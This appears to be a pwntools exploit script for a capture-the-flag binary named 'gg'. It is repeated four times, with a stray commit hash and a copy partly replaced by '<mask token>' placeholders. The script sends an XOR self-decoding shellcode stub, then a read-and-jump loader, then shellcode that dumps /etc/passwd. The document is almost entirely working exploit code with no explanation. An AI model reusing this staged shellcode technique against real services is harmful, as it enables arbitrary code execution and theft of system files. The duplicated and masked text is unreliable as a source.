from pwn import *
from heaputils import get_PIE

context.os = 'linux'
context.arch = 'amd64'

encode_d = '''
push rsi
pop rcx
xor al,0x56
xor BYTE PTR [rcx+0x30],al
xor al,0x4E
xor al,0x44
xor BYTE PTR [rcx+0x31],al
xor al,0x30
xor al,0x6c
'''

loader = '''
mov rdx,0x1000
add rsi,0x100
xor rax,rax
syscall
jmp rsi
'''

main = asm(shellcraft.amd64.linux.cat("/etc/passwd"))

shellcode = asm(encode_d)+"\x59"*0x30
print(shellcode)
p = process("./gg")
#PIE = get_PIE(p)
#gdb.attach(p,gdbscript="b *0x%x"%(PIE+0xB94))
p.send(shellcode)
sleep(0.3)
p.send("A"*0x32+asm(loader))#REAL SHELLCODE
sleep(0.3)
p.send(main)
p.interactive()
0ac2ed5fa969a3eb6aeb1c4f3c56784202b3831e
<mask token>

<mask token>
print(shellcode)
<mask token>
p.send(shellcode)
sleep(0.3)
p.send('A' * 50 + asm(loader))
sleep(0.3)
p.send(main)
p.interactive()

<mask token>
context.os = 'linux'
context.arch = 'amd64'
encode_d = """
push rsi
pop rcx
xor al,0x56
xor BYTE PTR [rcx+0x30],al
xor al,0x4E
xor al,0x44
xor BYTE PTR [rcx+0x31],al
xor al,0x30
xor al,0x6c
"""
loader = """
mov rdx,0x1000
add rsi,0x100
xor rax,rax
syscall
jmp rsi
"""
main = asm(shellcraft.amd64.linux.cat('/etc/passwd'))
shellcode = asm(encode_d) + 'Y' * 48
print(shellcode)
p = process('./gg')
p.send(shellcode)
sleep(0.3)
p.send('A' * 50 + asm(loader))
sleep(0.3)
p.send(main)
p.interactive()

from pwn import *
from heaputils import get_PIE
context.os = 'linux'
context.arch = 'amd64'
encode_d = """
push rsi
pop rcx
xor al,0x56
xor BYTE PTR [rcx+0x30],al
xor al,0x4E
xor al,0x44
xor BYTE PTR [rcx+0x31],al
xor al,0x30
xor al,0x6c
"""
loader = """
mov rdx,0x1000
add rsi,0x100
xor rax,rax
syscall
jmp rsi
"""
main = asm(shellcraft.amd64.linux.cat('/etc/passwd'))
shellcode = asm(encode_d) + 'Y' * 48
print(shellcode)
p = process('./gg')
p.send(shellcode)
sleep(0.3)
p.send('A' * 50 + asm(loader))
sleep(0.3)
p.send(main)
p.interactive()

from pwn import *
from heaputils import get_PIE

context.os = 'linux'
context.arch = 'amd64'

encode_d = '''
push rsi
pop rcx
xor al,0x56
xor BYTE PTR [rcx+0x30],al
xor al,0x4E
xor al,0x44
xor BYTE PTR [rcx+0x31],al
xor al,0x30
xor al,0x6c
'''

loader = '''
mov rdx,0x1000
add rsi,0x100
xor rax,rax
syscall
jmp rsi
'''

main = asm(shellcraft.amd64.linux.cat("/etc/passwd"))

shellcode = asm(encode_d)+"\x59"*0x30
print(shellcode)
p = process("./gg")
#PIE = get_PIE(p)
#gdb.attach(p,gdbscript="b *0x%x"%(PIE+0xB94))
p.send(shellcode)
sleep(0.3)
p.send("A"*0x32+asm(loader))#REAL SHELLCODE
sleep(0.3)
p.send(main)
p.interactive()